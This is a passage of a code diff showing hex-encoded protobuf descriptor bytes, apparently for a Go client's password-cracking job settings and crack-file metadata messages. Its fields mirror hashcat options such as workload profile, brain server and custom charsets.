+ 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c,
+ 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01,
+ 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f,
+ 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e,
+ 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65,
+ 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68,
+ 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42,
+ 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53,
+ 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09,
+ 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f,
+ 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52,
+ 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a,
+ 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01,
+ 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12,
+ 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01,
+ 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a,
+ 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d,
+ 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43,
+ 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d,
+ 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a,
+ 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01,
+ 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12,
+ 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42,
+ 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41,
+ 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49,
+ 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63,
+ 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20,
+ 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f,
+ 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64,
+ 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65,
+ 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64,
+ 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01,
+ 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72,
+ 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65,
+ 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61,
+ 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63,
+ 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28,
+ 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65,
+ 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63,
+ 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70,
+ 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12,
+ 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e,
+ 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15,
+ 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45,
+ 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c,
+ 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b,
+ 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63,
+ 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57,
+ 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c,
+ 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f,
+ 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72,
+ 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41,
+ 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e,
+ 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65,
+ 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65,
+ 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72,
+ 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d,
+ 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12,
+ 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72,
+ 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63,
+ 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12,
+ 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28,
+ 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48,
+ 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12,
+ 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72,
+ 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65,
+ 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70,
+ 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72,
+ 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18,
+ 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c,
+ 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69,
+ 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20,
+ 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a,
+ 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c,
+ 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47,
+ 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01,
+ 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65,
+ 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c,
+ 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13,
0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e,
- 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72,
- 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32,
- 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46,
- 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65,
- 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53,
- 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75,
- 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47,
- 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64,
- 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65,
- 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d,
- 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74,
- 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32,
- 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65,
- 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d,
- 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74,
- 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34,
- 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09,
- 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52,
- 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e,
- 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d,
- 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22,
- 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67,
- 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d,
- 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64,
- 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77,
- 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72,
- 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52,
- 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10,
- 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72,
- 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72,
- 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69,
- 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42,
- 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72,
- 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65,
- 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09,
- 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72,
- 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42,
- 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69,
- 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22,
- 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69,
- 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69,
- 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57,
- 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61,
- 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f,
- 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f,
- 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53,
- 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69,
- 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53,
- 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b,
- 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55,
- 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44,
- 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61,
- 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73,
- 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c,
- 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73,
- 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75,
- 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22,
- 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03,
- 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61,
- 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65,
- 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44,
- 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20,
- 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22,
- 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03,
- 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69,
- 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70,
- 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03,
- 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69,
- 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a,
- 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65,
- 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73,
- 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08,
- 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20,
- 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20,
- 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65,
- 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20,
- 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30,
